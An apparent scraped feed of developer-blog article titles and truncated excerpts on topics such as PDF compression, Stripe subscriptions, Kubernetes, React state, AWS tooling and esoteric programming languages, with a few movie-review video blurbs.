    Large PDF files are annoying to share and slow to open. Here are proven methods to compress your PDFs while maintaining quality. High-resolution images inside Embedded fonts and metadata Multiple scanned pages Original file size Use PDFSmartly: Go to https://pdfsmartly.com Upload your large PDF Compression happens automatically Download compressed version Most PDFs reduce 50-80% without visible quality loss. File → Save As → Reduced Size PDF Open PDF → Tools → Quartz Filter → Reduce File Size If PDF has lots of images, they're taking space. Remove or use lower resolution. Open PDF in browser Print → Save as PDF Usually compresses automatically 100MB file → 20-30MB compressed 50MB file → 10-15MB compressed 10MB file → 2-5MB compressed No visible quality loss for most documents. pdf, compression, productivity, how-to, tutorial  ( 6 min )
    Building Reliable Stripe Subscriptions in NestJS: Webhook Idempotency and Optimistic Locking
    Subscriptions power modern SaaS apps, but integrating payment providers like Stripe requires handling webhooks reliably. In a recent commit to the CommitLore backend, I implemented a full subscription system using Stripe. The standout technical choice was ensuring idempotent webhook processing to avoid duplicate updates during retries or failures. This approach uses a dedicated webhook_events table to track Stripe events and optimistic locking on the subscriptions table to prevent race conditions. It's a practical pattern for any NestJS app dealing with external async events. Let's break it down. Stripe webhooks notify your server of events like subscription upgrades, cancellations, or payment failures. But networks are unreliable—events can arrive multiple times, out of order, or during d…  ( 8 min )
    Ship ComfyUI on RunPod (Dev-Friendly): Cloud GPU, models, and zero local setup
    What we’re building A browser-based ComfyUI workstation running on a rented GPU (RunPod), preloaded with your favorite models and custom nodes, with no local installs. You’ll: Launch a GPU pod with the official ComfyUI template Install models LoRA/custom nodes the fast way (copy/paste one-liner) Restart ComfyUI cleanly and verify everything works Pull images off the pod and keep costs in check If you like command-line control, I added optional CLI and debugging bits along the way. Pick a GPU (3090 is great for learning; 5090 is fast if you need speed) Use the RunPod ComfyUI template (no manual installs) Enable the Web Terminal and paste a deployment one-liner from Prompting Pixels Set Hugging Face and Civitai API tokens before running the script Restart ComfyUI from Manager inside the UI…  ( 9 min )
    Change the Color of the Production Environment Screen
    Development environment, staging environment, production environment—it's common to switch between multiple environments. The most critical mistake to avoid is performing actions intended for the development environment in the production environment. As humans, we make mistakes. However, tightening checks excessively can make daily operations cumbersome. AI is still not entirely reliable. So, what should we do? Let's rely on human intuition: color. I refer to this as the Production Color. You should apply a color that clearly indicates it's the production environment. Red is often a good choice. The color change uses client-side features (browser-side). You can use a script engine like Tampermonkey or develop a custom extension. Which part of the screen to change depends on the environment, but you could either fill the entire background or just the header. Of course, you can create this with AI. It may be tedious to customize for each environment, but compared to the effort of fixing mistakes in the production environment and the stress of straining yourself to avoid such mistakes, it's worth it. No more excuses—let's get this done quickly.  ( 6 min )
    Android Storage Complete Guide: Internal Storage vs External Storage (Part 1)
    While working on an Android app, persisting data is a common use case. Take a simple example: an app that supports light and dark themes. If a user toggles between both, we need to remember this preference across lifecycle changes, like when the app is closed and reopened. This theme-setting example highlights a common challenge: choosing the right storage mechanism. Which storage mechanism fits our specific needs while balancing performance, persistence, and security? In this article, we will introduce the two storage areas available to us in Android: internal and external storage. Android separates storage into app-specific (private to the app) and shared storage (visible to other apps). The terms private and shared are not only about encapsulation; they also relate to where files live i…  ( 8 min )
    You SHOULD derive your state in React
    Topic is not new but the more I work this concept is forgotten and rediscovered all over again. Your component can be small and swift, but it becomes doing more and more. Apply now this easy rules and thanks me later. Deriving state is computing value based on the data we already have. This means figuring out a value based on props or state we already have.  Good, deriving value from data When you're setting state you manage multiple source of data. This involves syncing the value and state between each other. You doing ping-pong game to reflect user changes into data and data into interface. Bad, setting value independently Let’s see how state is usually set and how we can avoid such situation in React. Sample setting state react code: // ❌ Bad! Setting state function Component(props)…  ( 7 min )
    Unknown Unknowns (Bite-size Article)
    Introduction When you work on a long-term project, you may have experienced situations like: Something unexpected happens and the project drifts far away from the original plan You start a task and suddenly encounter unforeseen issues, which create even more tasks These are what we call “Unknown Unknowns.” The term dates back to a 2002 press briefing by U.S. Secretary of Defense Donald Rumsfeld. In response to questions about whether Iraq possessed weapons of mass destruction, he explained that information falls into three categories: Known Knowns: things we know Known Unknowns: things we know we don’t know Unknown Unknowns: things we don't even realize we don't know He emphasized that the last category is the most troublesome—risks that come from outside our predictions can easily …  ( 7 min )
    Stop fighting your build tools. Meet AtomAttr.
    For years, frontend development has been dominated by the build step. Webpack, Rollup, Vite, PostCSS... the list goes on. While tools like Tailwind CSS revolutionized how we style apps, they introduced a heavy dependency on Node.js environments. If you are a backend developer (PHP, Python, Go) or just want to prototype a quick idea, setting up a full frontend toolchain feels like overkill. I asked myself: What if you could just write HTML? So I built AtomAttr. AtomAttr is a runtime CSS engine. Instead of compiling your CSS at build time, it compiles it in the browser, instantly. It uses a MutationObserver to watch your DOM and injects atomic CSS rules only for the attributes you actually use. It weighs less than 10kb, has zero dependencies, and requires no config. You drop one script tag i…  ( 7 min )
    filter6
    #!/bin/bash if [ -z "$1" ] || [ -z "$2" ]; then echo "Usage: $0 [delimiter]" exit 1 fi DATE_COL="$1" DAYS="$2" DELIM="${3:--}" # FIXED: go BACK in time, not forward! CUTOFF=$(date -d "$DAYS days ago" +%s) awk -v col="$DATE_COL" -v cutoff="$CUTOFF" -F"$DELIM" ' function month2num(m) { return (index("JanFebMarAprMayJunJulAugSepOctNovDec", m) + 2)/3 } { if (NF = cutoff) print } '  ( 6 min )
    Cooked this Paperfolio template with V0 | Here’s the template you can use for free
    Cooked this Paperfolio template with V0 | Here’s the template you can use for free I’ve been experimenting with V0 - by Vercel, and I rebuilt the popular Paperfolio layout originally created by Brix Templates. → Template (Clone / Remix): → Live Preview: → Watch the walkthrough on X: Clean portfolio with hero section and highlight-style text blocks Minimal, bold layout focused on showcasing your work Reusable components built directly in V0 Easy to customize for personal portfolios or client sites Open the template → https://v0.link/paperfolio Click on “Open in V0” Make your styling tweaks Deploy on Vercel That’s it — you have a clean, modern portfolio site ready to ship. If you end up customizing this, I’d like to see what you build.  ( 7 min )
    Kubernetes architecture for a video streaming app at 1 million users
    big awesome problem.... We’ll try to create a compact, practical Kubernetes architecture for a video streaming app at 1 million users, plus clear design choices, components, scaling patterns, and rough capacity guidelines. We’ll also call out assumptions up front to pick the path that matches the traffic pattern. Assumptions (pick the one that matches you) I must assume something because “1 million users” could mean many things: Option A - 1M total registered users, low concurrency: ~10k concurrent peak. Option B - 1M active users, moderate concurrency: ~100k concurrent peak. Option C - 1M concurrent users (extreme): design is close to CDN-first, multiple large clusters, heavy multi-region infra. So lets focus on Option B (100k concurrent) as a realistic high-scale target (and als…  ( 9 min )
    Kubernetes : Your Ultimate Cheatsheet
    Mastering Kubernetes means mastering kubectl. This guide contains every important Kubernetes commands from basics to SRE-level advanced debugging. These are not the usual “kubectl get pods” basics but deep cut commands for debugging, networking, performance, API calls, manifests, and cluster internals. Perfect for DevOps engineers, SREs, Kubernetes admins, and more. Basic Commands Pods Deployments Services ConfigMaps & Secrets Persistent Storage Namespaces Logs & Debugging Rollouts & Scaling RBAC Node Commands Cluster Info Cleanup Productivity Tricks Advanced Commands (SRE Level) Full Printable Cheat Sheet kubectl version kubectl cluster-info kubectl get nodes kubectl get all kubectl api-resources kubectl api-versions kubectl describe node Kubernetes is used when it needs to run …  ( 11 min )
    Announcing AWS CDK Mixins (Preview): Composable Abstractions for AWS Resources
    by Michael Kaiser and Momo Kornher We are excited to announce the developer preview of CDK Mixins, a new feature of the AWS Cloud Development Kit (CDK) that fundamentally changes how developers compose and reuse infrastructure abstractions. CDK Mixins enable you to apply sophisticated features to any construct whether L1, L2, or custom without being locked into specific implementations. This new mechanism addresses one of the most persistent challenges in infrastructure as code: the tension between comprehensive AWS coverage and sophisticated abstractions. The AWS Cloud Development Kit (CDK) is an open-source software development framework for defining cloud infrastructure in code and provisioning it through AWS CloudFormation. It contains pre-written modular and reusable cloud components …  ( 9 min )
    Putting Codex To Task
    I’ve been putting OpenAI’s Codex coding assistant to task. Literally. Codex and I put together a task management system for the open source application DepanFx. The launch customer for these features was asynchronous file loading, a point of notable lag. The new capabilities avoid locking the UX loop, and provide an acceptable UX for notification and tracking of task execution. Before we were done, asynchronous file loading was also added to the session startup execution path. With Codex’s help, I was able to add asynchronous file loading, with robust task management support, in roughly 4 days. All in, including a few more days of expanded functionality and other cleanup, Codex and I were able to bring up almost four thousand lines of new task management software. This development fel…  ( 10 min )
    filter5
    awk -F'~' -v col="$DATE_COL" -v cutoff="$CUTOFF" ' function month2num(m) { return (index("JanFebMarAprMayJunJulAugSepOctNovDec", m) + 2)/3 } { if (NF = cutoff) print }'  ( 6 min )
    My fun christmas project for this year
    North Pole Library – Technical Overview https://northpolelibrary.eu 1. Executive Summary North Pole Library is a modern, AI-powered web application that allows users to create personalized Christmas stories for children. The platform leverages a sophisticated stack of cloud services, generative AI models, and automation workflows to deliver a seamless "text-to-storybook" experience. Users provide basic details (child's name, age, theme), complete a secure payment, and receive a fully illustrated, narrated, and interactive digital storybook within minutes. 2. Architecture & Technology Stack The system is built on a Serverless Architecture, utilizing a decoupled frontend and an event-driven backend orchestrated by n8n. Frontend Application Core Framework: UI/UX: State Management: React Context API handles global application state, such as multi-language support (English/Hungarian) and user session data. Supabase serves as the backend-as-a-service (BaaS) layer, providing: PostgreSQL Database: The stories table acts as the central source of truth, storing: User inputs (Child's name, age, theme). Order status (pending_payment, processing, completed). The structured JSON content of the generated story. Object Storage: Realtime/Polling: 3. Core Workflows & Automation A. Payment & Initiation Flow B. The "Magic" Generation Pipeline (n8n) Data Retrieval: The workflow fetches the pending story details from Supabase using the ID from the payment event. AI Image Generation: Asset Management: Finalization: C. Delivery 4. Key Features Summary Scalability: The use of serverless functions (Supabase) and async workflows (n8n) allows the system to handle high traffic volumes during peak holiday seasons without infrastructure management. Demo: https://www.youtube.com/watch?v=NDbKKT3fqOI  ( 8 min )
    AWS SAA to Security Clearance: My Path to Federal ISSO Roles
    Just passed AWS Solutions Architect Associate on my first attempt. But this isn't another "I passed!" post - it's about leveraging cloud security expertise for federal defense contracting ISSO roles in Huntsville. Compliance frameworks (NIST 800-171, CMMC, RMF) The AWS SAA provides the foundation, but federal work demands more. HIPAA compliance → NIST 800-171 understanding The Federal Credential Stack I'm Building AWS Solutions Architect Associate (Nov 2025) Next: CMMC Registered Practitioner (Jan 2026) Federal Cloud Resume: joshuahall.tech S3 static website CloudFront CDN Lambda visitor counter Federal Cloud Resume adds: NIST 800-53 control mapping CloudTrail logging with integrity validation IAM least privilege documented Encryption at rest and in transit Why ISSO Roles Information System Security Officers bridge technical implementation and compliance frameworks. With 3.25 years of hands-on security operations and zero ransomware incidents across fully managed clients, I have the operational foundation. CMMC enforcement began November 2025. The Defense Industrial Base has 350,000+ companies, roughly 70,000 needing Level 2 certification, and only about 450 currently certified. Security professionals who understand both cloud architecture and compliance frameworks are in demand. Connecting at AWS re:Invent I'll be at re:Invent (Dec 1-6) targeting defense contractors with Huntsville presence: Torch Technologies If you're in defense contracting, let's connect. February 2026: Start ISSO role in Huntsville While others chase FAANG, I'm focused on protecting national security infrastructure in Huntsville's defense ecosystem. Current status: AWS SAA, Security+, CMMC CCP. 3.25 years security experience. Zero ransomware incidents across all fully managed clients. Relocating to Huntsville February 2026. LinkedIn.  ( 7 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    TL;DR CinemaSins has dropped their grand finale “Everything Wrong With Mission: Impossible – The Final Reckoning In 27 Minutes Or Less,” roasting Tom Cruise’s death-defying stunts and poking fun at how the series “maybe lost its way” in the last couple of films. They also plug their site, poll, Patreon and social channels (YouTube, Twitter, Instagram, TikTok, Discord, Reddit), plus shout out their writers and even Jeremy’s new book—so you can keep the sins coming long after the credits roll. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: The Sorcerer's Apprentice - Caravan of Garbage
    The Sorcerer’s Apprentice – Caravan of Garbage Modern Disney’s in a weird spot: their blockbusters like Marvel and Star Wars aren’t sticking the landing, and fresh ideas like Wish and Elio are barely making a ripple. To commemorate Disney’s knack for colossal flops, the hosts of The Weekly Planet are rolling out a mini-series dissecting four massive live-action disasters—kicking off with 2010’s The Sorcerer’s Apprentice, featuring Nicolas Cage, magical showdowns and one unforgettable giant bird. Want more? Head over to bigsandwich.co for early videos, bonus podcasts, commentaries and Let’s Plays, or grab the extended audio edition on YouTube. Don’t forget to follow James and Maso on Twitter, subscribe on your fave podcast platform, and check out their merch at Teepublic! Watch on YouTube  ( 6 min )
    Taming the "God Component": A Framework-Agnostic Guide to the Component Responsibility Score (CRS)
    Hello fellow front-end engineers! These overly complex components—the "God Components"—violate the fundamental principle of Single Responsibility. They handle too much state, too much logic, and too many concerns. This leads to codebases that are frustrating to work with, slow to test, and expensive to maintain. The Component Responsibility Score (CRS) is a custom, data-driven metric used to quantify how complex and overly scoped a front-end component is. It acts as a health check for component architecture, providing an objective number that signals when a component must be broken down. The goal is simple: The beauty of the CRS is that it focuses on structural and logical properties, not specific API calls (like useState vs. data()). This makes it universally applicable. The Four Pillars…  ( 8 min )
    Building an AI-Powered Semantic Talent Matching System
    Using MongoDB Atlas Vector Search + OpenAI Embeddings By Emmanuel Ifeanyi Mechie This document explains how I built a fully semantic, AI-powered talent matching system using: MongoDB Atlas Vector Search OpenAI text-embedding-3-small Node.js + TypeScript The system solves the limitations of traditional keyword matching by using high-dimensional vector embeddings to understand the meaning behind job requirements and user skills — enabling semantic candidate-job matching with high accuracy and drastically improved performance. The previous approach used simple keyword matching: ❌ "React Developer" only matched profiles with the exact phrase ❌ "Problem solving" ≠ "Analytical thinking" ❌ Recruiter results returned irrelevant profiles ❌ Matching time was ~12 seconds I redesigned the matchin…  ( 10 min )
    🦀 Reqwest vs. Deboa: Which Rust HTTP Client is Right for Your Project?
    When building modern applications in Rust, an efficient and reliable HTTP client is essential. Two popular choices in the Rust ecosystem are reqwest and deboa. While reqwest is the long-standing, feature-rich powerhouse, deboa is emerging as a compelling, lightweight alternative. This post dives into their key differences, with a focus on performance and suitability for different use cases. reqwest is often considered the de-facto standard for asynchronous HTTP requests in Rust. It's built on top of the powerful hyper library, which provides the underlying HTTP implementation. Key Design: A high-level, easy-to-use API that provides both blocking and asynchronous modes. It's designed for completeness, offering extensive features like JSON serialization/deserialization, redirects, cookie han…  ( 8 min )
    AWS open source newsletter, #216
    Edition #216 - November 2025 Welcome to issue #216 of the AWS open source newsletter, the newsletter where I try and provide you the best open source on AWS content. re:Invent is just around the corner, and this months edition has a lot of great pre:Invent stuff, and I can't wait to see what other open source stuff gets announced. Some readers may be heading to re:Invent (or maybe already there), so enjoy the week. In this months edition we have a nice selection of projects from making it easier to use integrate with MCP Servers, a new Python framework that simplifies infrastructure management, managing credentials for local development, a couple of developer experience improvements for serverless developers, a new way to PySpark like code on Anthena, as well as the usual round up of c…  ( 30 min )
    Fast Laravel Pages with Nginx Caching and Progressive Rendering
    Liquid syntax error: Variable '{{% raw %}' was not properly terminated with regexp: /\}\}/  ( 6 min )
    Regex in web server applications
    Regex (REGular EXpressions) is commonly used in command-line tools, such as grep or sed, in order to search for a pattern or to search and replace a pattern. Regular expressions are a powerful tool whenever there's a "free form" string that needs to be analyzed, or an input from a source that may or may not provide exactly formatted input. Regex is perfect to extract useful bits and pieces from it. In RimStone, Regex is a built-in feature via match-regex statement. Here's an example of using it in a server application: // Use backreferences to swap two words, // with "Reverse order word" as a result match-regex "(word)\\s+(order)" \ in "Reverse word order" \ replace-with "\\2 \\1" \ result res print-out res new-line RimStone regex has a powerful "cache" clause which allows for regex pattern to be parsed once into a binary representation and used over and over without parsing again. In our tests, this often results in five times (5x) or more speed up! This makes it perfect for server applications where performance is paramount. RimStone is overall built for performance, with LTO (Link Time Optimization) built-in across the board, and with generated C code used to create high-performance native applications. No Virtual Machines, no p-code, just native executables. On top of that, RimStone is a memory-safe language. The full regex example, with detailed instructions, can be found here.  ( 6 min )
    How Airflow Physics Explains Dust Accumulation Indoors
    Walk through your house on a sunny afternoon and you’ll see it: thin beams of light catching thousands of floating specks that weren’t visible a second earlier. That’s not “dirty air.” It’s physics in motion. Every home operates like a small particle system where air moves, slows, collides, rises, sinks, and drops microscopic matter into the places you later have to clean. Dust doesn’t settle randomly. It follows the rules of airflow, temperature differences, pressure zones, humidity, and friction. When you understand those rules, dust becomes predictable, not mysterious. If you live in a dry, dusty region, the effects are even stronger. The principles below apply in every climate, but they show up faster where heat, HVAC usage, and outdoor particulate levels are high. For a deeper look at…  ( 9 min )
    Stop paying for databases: I built a Type-safe Google Sheets ORM (Prisma-style)
    The Problem: "I just need a simple database..." We've all been there. You are building a side project, a prototype, or a simple CMS for a client. You need a database, but: Postgres/MySQL feels like overkill (and costs money/effort to host). SQLite is great but hard to share with non-tech clients. Google Sheets is perfect for clients, but the API... well, the API returns untyped arrays (row[0], row[1]), which is a nightmare to maintain. I wanted the developer experience (DX) of Prisma but with Google Sheets as the backend. So, I built TarangDB. TarangDB is a lightweight, type-safe ORM for Node.js and Bun. It turns your Google Sheet tabs into relational tables with a syntax you already know and love. Key Features: ✨ Prisma-like Syntax: findMany, create, where, include. 🛡️ Type-safe: Au…  ( 8 min )
    Fast and Furious, the missing modem.
    It's been awhile coming but we finally got set up with gig internet. Speeds have been ok before but we needed better speed for streaming and deployment. It's rough to code then suffer through slow upload speed. Tech called shortly before the Dads in Tech meet up. Unfortunately the meeting was in middle of the tech's arrival window. I was hoping to join but knew I couldn't cause he would need attention. Hoped it would be a quick install and I could catch the end of the meeting. It was not quick. The tech comes to the door and asks, "Did they ship you modem?" "No." "They were suppose to ship you a modem, an enterprise one." I knew that was wrong. He said "I'll go out to truck call manger then call you in 5 to 10 minutes." While he was in truck I checked the appointment email and texts …  ( 11 min )
    📌 Factor — The Stack-Based Language Built Around Words, Quotations, and Combinators
    What is Factor? Factor is a modern stack-based programming language inspired by Forth, but redesigned to be more expressive, modular, and practical. Instead of writing procedural stack operations with minimal structure, Factor introduces higher-order functions, quotations (anonymous stack functions), a rich standard library, and a powerful interactive development environment. Factor attempts to make stack programming feel high-level and ergonomic without sacrificing the low-level control and simplicity that stack languages are known for. Language Type: Stack-based functional language Released: 2003+ (ongoing development) Creator: Slava Pestov Paradigm: Concatenative, functional, interactive Execution Model: Compiled + runtime VM Typing: Dynamic Primary Use: Language experimentation…  ( 7 min )
    Designer Wear for Women: A Celebration of Style and Craftsmanship
    Designer wear for women stands at the intersection of fashion, art, and personal expression. It embodies not just clothing, but a lifestyle that celebrates elegance, innovation, and individuality. These carefully curated collections bring together creative vision and skilled craftsmanship, offering pieces that resonate with women who appreciate quality and style beyond fleeting trends. What makes designer wear so captivating is its blend of exclusivity and superior quality. Unlike mass-produced fashion, designer pieces are often limited in number and crafted with meticulous attention to detail. This exclusivity lends a sense of luxury and uniqueness, allowing women to stand out with outfits that are as distinctive as they are beautiful. Designer collections for women encompass a broad spec…  ( 7 min )
    📌 Agda — The Language Where Programs and Proofs Become the Same Thing
    What is Agda? Agda is a dependently typed functional programming language designed not only for writing programs, but for expressing mathematical proofs directly in code. It blurs the line between programming and formal logic—meaning a valid program is also a valid proof. Agda focuses on correctness-by-construction, allowing developers to build software where errors are eliminated through types instead of runtime behavior. It’s heavily used in type theory research, formal verification, mathematical reasoning, and experimental compiler design. Language Type: Dependently typed functional language Released: Early 2000s (active academic development) Creator: Ulf Norell and the Agda research community Paradigm: Proof-driven development, functional programming Execution Model: Compiles via…  ( 7 min )
    📌 Elixir (Script Mode) — The Lightweight Experimental Variant for Running Elixir Like a Scripting Language
    What is Elixir Script Mode? Elixir Script Mode refers to an early and lesser-used execution style of Elixir where the language could be written and executed like a scripting language rather than as part of a compiled OTP project structure. Instead of working inside Mix projects or OTP application design, Script Mode allowed direct execution of .exs files, similar to how Python or Ruby scripts run. This mode existed mainly for experimentation, rapid prototyping, tooling demos, and small automation tasks. While still supported, it never became the primary style of using Elixir, especially once the language standardised around Mix, Phoenix, and OTP-minded architecture. Language Type: Functional scripting (Elixir runtime) Era: Early ecosystem phase (~2014–2017 emphasis) Execution Model: In…  ( 7 min )
    📌 Zig (Alpha Spec) — The Early Experimental Phase Before Zig Stabilized
    What is Zig (Alpha Specification)? Zig (Alpha Spec) refers to the early development phase of the Zig programming language, before the syntax, standard library, and compiler behavior were stabilized. During this stage, Zig was still defining its philosophy: manual control over memory, predictable compilation, and replacing C with safer low-level tooling—without garbage collection or runtime magic. The alpha era featured syntax differences, experimental features, missing standard library components, and compiler instability — making it feel like a raw prototype version of the Zig we know today. Language Type: Low-level systems language Era: Prototype & alpha development (~2016–2019) Creator: Andrew Kelley Execution Model: Compiled (LLVM backend) Typing: Static with strong type guarante…  ( 7 min )
    📌 ReasonML (Old Build) — The Legacy Version Before Rescript Took Over
    What is ReasonML (Old Build)? ReasonML (old build) refers to the earlier form of Reason before the language direction shifted toward ReScript. Originally created by Facebook, ReasonML aimed to provide a JavaScript-friendly syntax on top of OCaml’s powerful type system. The old build existed during the migration phase when syntax, tooling, compiler behavior, and ecosystem conventions were still evolving. In this stage, Reason resembled a hybrid of JavaScript, OCaml, and TypeScript — with the goal of delivering safe typed code while compiling to efficient JavaScript via BuckleScript. Language Type: Typed functional language (OCaml syntax layer) Era: 2016–2020 (pre-ReScript transition) Creator: Jordan Walke (creator of React) Execution Model: Compiled through BuckleScript → JavaScript T…  ( 7 min )
    📌 Glypho — A Language Built from Abstract Symbols Instead of Text
    What is Glypho? Glypho is an esoteric programming language where programs are written entirely using abstract shapes, glyphs, and symbols rather than alphanumeric characters. Instead of words, numbers, or punctuation, the language uses geometric marks such as circles, arrows, strokes, spirals, and shorthand ideograms to represent instructions. The aesthetic resembles ancient writing systems or UI iconography more than traditional programming syntax. Glypho explores what programming looks like when everything meaningful must be communicated visually rather than linguistically. Language Type: Symbol-based esolang Era: Approx. 2016–2020 experimental period Execution Model: Interpreter reads symbols sequentially or spatially depending on variant Paradigm: Stack-based, rule-based, or direc…  ( 7 min )
    📌 MicroTape — A Tiny Tape-Based Language Inspired by Minimal Turing Models
    What is MicroTape? MicroTape is an ultra-minimal esoteric language inspired by the original concept of Turing tape computation. It strips programming down to only a few operations: moving left or right along a tape, modifying a single cell, and optionally printing or halting. The language exists to demonstrate how little machinery is required to achieve full computational behavior, making it a study tool for Turing completeness and extreme language minimalism. To a human reader, programs appear as short symbol sequences rather than structured code. Language Type: Minimalist tape-based esolang Era: Part of the 2010s minimal language movement Execution Model: Single tape, single pointer Memory Model: Single infinite tape of integers or bytes (variant-dependent) Typing: None — values ar…  ( 7 min )
    📌 StackCats — A Stack-Based Language Where Instructions Are Expressed as Cat Behaviors
    What is StackCats? StackCats is an esoteric programming language where all operations are represented as cat-themed commands. Instead of symbols or keywords, instructions mimic cat actions such as pawing, sitting, napping, jumping, or meowing — each corresponding to a stack operation. The language combines the structure of a traditional stack machine like Forth or False with a playful lexical theme centered around feline behavior. Programs often look like a series of cat instructions rather than recognizable code, and part of the appeal comes from the absurdity of reading what appears to be a cute pet diary while actually performing computation. Language Type: Esoteric / stack-based command set Era: Mid-2010s community creation wave Execution Model: Single global stack manipulated by c…  ( 7 min )
    📌 StackCells — A Language Where Each Cell Is Its Own Stack
    What is StackCells? StackCells is an esoteric language where memory is represented as a grid of individual stacks rather than a single linear memory tape or one global stack. Each cell contains its own independent stack of values, and execution moves between cells while manipulating the local stack contents. The model is inspired by grid-based execution languages like Befunge but combined with stack-based semantics similar to Forth or False. Instead of thinking in lines of code, the programmer must think spatially about how data flows between stacked memory regions. Language Type: Esoteric / grid + stack machine Era: Experimental language wave (approx. 2016–2020) Execution Model: Cursor moves through grid, operating on cell-local stacks Paradigm: Stack-based, spatial execution, proced…  ( 7 min )
    📌 TuringTiles — A Language Built from Tile-Based State Transitions
    What is TuringTiles? TuringTiles is an esoteric programming language inspired by Turing machine theory, but instead of a single tape and head, programs are represented as grids of tiles. Each tile encodes a rule: when the execution cursor enters from one side, it performs an operation and exits through another side. The program's logic emerges from how these tiles connect, creating a visual, modular, and puzzle-like execution pattern. It behaves somewhere between a cellular automaton, a flow puzzle, and a visual Turing machine. Language Type: Esoteric / visual rule-based language Era: 2014–2019 indie experimentation period Execution Model: Cursor-driven tile map traversal Paradigm: State transition + spatial programming Typing: None — tile symbols control execution A simplified tex…  ( 7 min )
    Gemini 3 Is Everywhere — So I Finally Tested It as a Developer (And Here’s What Happened)
    If you’re active in the developer community, you’ve probably noticed one thing over the last week — Gemini 3 is literally everywhere. X (Twitter), Reddit, Discord, YouTube… the hype has been insane. Everyone keeps saying “Google finally did it… this model is massive.” As a developer, I’m always curious when a new AI model gets this kind of attention. So of course, I had to test it myself. Not by asking philosophical questions or doing poetry — but by using it for something real, something practical: 👉 Can Gemini 3 build a usable developer-friendly website from a single prompt? So I opened Google AI Studio, typed a simple request, and the results honestly shocked me. My first test prompt was extremely basic: “Make a doctor appointment landing page website.” Just one line. No extra stylin…  ( 8 min )
    How Do I Return the Response from an Asynchronous Call?
    Async calls (e.g., fetch()) return Promises, not immediate values. Direct return yields undefined. Focus: JavaScript (adapt for other langs). function fetchData() { let result; fetch('https://api.example.com/data') .then(data => { result = data; }); return result; // undefined } function fetchData() { return fetch('https://api.example.com/data') .then(response => response.json()) .catch(error => { throw error; }); } // Usage fetchData().then(data => console.log(data)); Pros: Non-blocking. Cons: Nesting issues. async function fetchData() { const response = await fetch('https://api.example.com/data'); return await response.json(); } // Usage const data = await fetchData(); console.log(data); Pros: Readable, try/catch errors. Cons: Requires async callers. function fetchData(callback) { fetch('https://api.example.com/data') .then(data => callback(null, data)) .catch(err => callback(err, null)); } // Usage fetchData((err, data) => { if (!err) console.log(data); }); Pros: Simple. Cons: Control inversion. Errors: Always .catch() or try/catch. Parallel: Promise.all([async1(), async2()]). Timeouts: Use AbortController. Testing: Mock fetch in Jest. Node: node-fetch for < v18. const fetch = require('node-fetch'); async function getPosts(userId) { const res = await fetch(`https://jsonplaceholder.typicode.com/posts?userId=${userId}`); return await res.json(); } const posts = await getPosts(1); // Returns array Use async/await for clean returns. Reduces bugs in 90% of cases.  ( 6 min )
    Memory-Safety-Ultimate-Guardian
    GitHub Home A hacker exploited this vulnerability, bypassed authentication, and stole the entire user table data. By the time we discovered it, it was too late. For the next few months, our entire team lived in nightmares: cooperating with investigations, appeasing clients, fixing vulnerabilities, checking all company projects for similar risks... The company's reputation and business suffered heavy damage. That incident taught me the most profound lesson: in the world of web development, security always comes first. Many developers, especially when project deadlines are tight, view "security" as a "feature module." They say: "Let's implement the main functionality first, and we'll 'add' security features in the next iteration." This is a fatal misunderstanding. Security is not a coat of p…  ( 9 min )
    What is a NullPointerException, and How Do I Fix It?
    NullPointerException (NPE) is a Java runtime exception thrown when code accesses a null reference (e.g., calling a method on null). Trigger: Attempting to use a null object reference (e.g., null.length()). Type: Unchecked exception; occurs at runtime, not compile time. Example: String name = null; System.out.println(name.length()); // Throws NPE Stack Trace: Points to the line; trace upward for root cause. Uninitialized References: Variables default to null if not set. User user = getUser(id); // Returns null if not found user.getName(); // NPE Null Parameters: Methods receive unexpected null inputs. Collection Access: Null lists/maps or missing keys. Map map = new HashMap(); map.get("key").toString(); // NPE if key absent Method Chains: On…  ( 7 min )
    Clean and maintainable Git Histories – Part 2
    3 simple tricks for managing git histories It took me a while to learn these simple tricks for effectively managing Git histories with just a few commands. In the first article, I explained why clear, structured Git commit messages and cohesiv commits are important or why temporary commits make the history more difficult to read. This time, I will show you how to organise your commits before merging them. This will give you a clean, easy-to-understand commit history. Changes should be reviewed and consolidated into a clear commit history. The aim is to include only changes that are relevant, just like book authors revise drafts before publishing. Consider cleaning up commit history for clarity and maintainability: Add changes directly to the previous commit git commit --amend Consolidate…  ( 9 min )
    Xray Test Management for Jira: To What Extent Can AgileTest Be An Affordable Alternative?
    Xray Test Management for Jira is a widely used tool for test planning, execution, and reporting, offering a comprehensive set of features to manage testing workflows directly within Jira. It’s designed for teams that need full capabilities and extensive integration with Jira, making it a popular choice for larger organizations. AgileTest by DevSamurai is also an effective test management solution that integrates with Jira. In this article, we will go through some key features in which AgileTest can be an affordable substitute for Xray Test Management for Jira.   1. Test Management Both Xray and AgileTest support you and your team to create, manage, execute test cases, and track test results. Let’s discover how each app works. Create and organize test cases AgileTest In AgileTest, there is …  ( 10 min )
    Ringer Movies: The Robert Redford Hall of Fame
    The Robert Redford Hall of Fame Sean Fennessey and Amanda Dobbins invite actor-playwright Tracy Letts to celebrate Robert Redford’s illustrious career. Together they riff on his standout roles, share personal anecdotes about the star’s impact, and literally build their own Redford Hall of Fame. From Sundance Kid stardom to directorial triumphs like Ordinary People, this lively chat maps Redford’s biggest milestones and enduring appeal. If you’re streaming on Prime or just love classic Hollywood legends, it’s a fun, affectionate deep dive into one of cinema’s all-time greats. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Summary Cinema Sins takes on Fantastic Four in a rapid-fire “Everything Wrong With…” video, clocking in at under 20 minutes and delivering their usual blend of snarky quips and pointed “sins.” They even joke that the film is just as “sintastic” as any other Marvel outing. Alongside the video, they plug BetterHelp therapy discounts, showcase their website and YouTube channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork), and invite fans to fill out a poll, support them on Patreon, and follow the writers and social-media handles listed. Watch on YouTube  ( 6 min )
    Downloads Stalling? Not Anymore. Developing Retry Maniac for Chrome
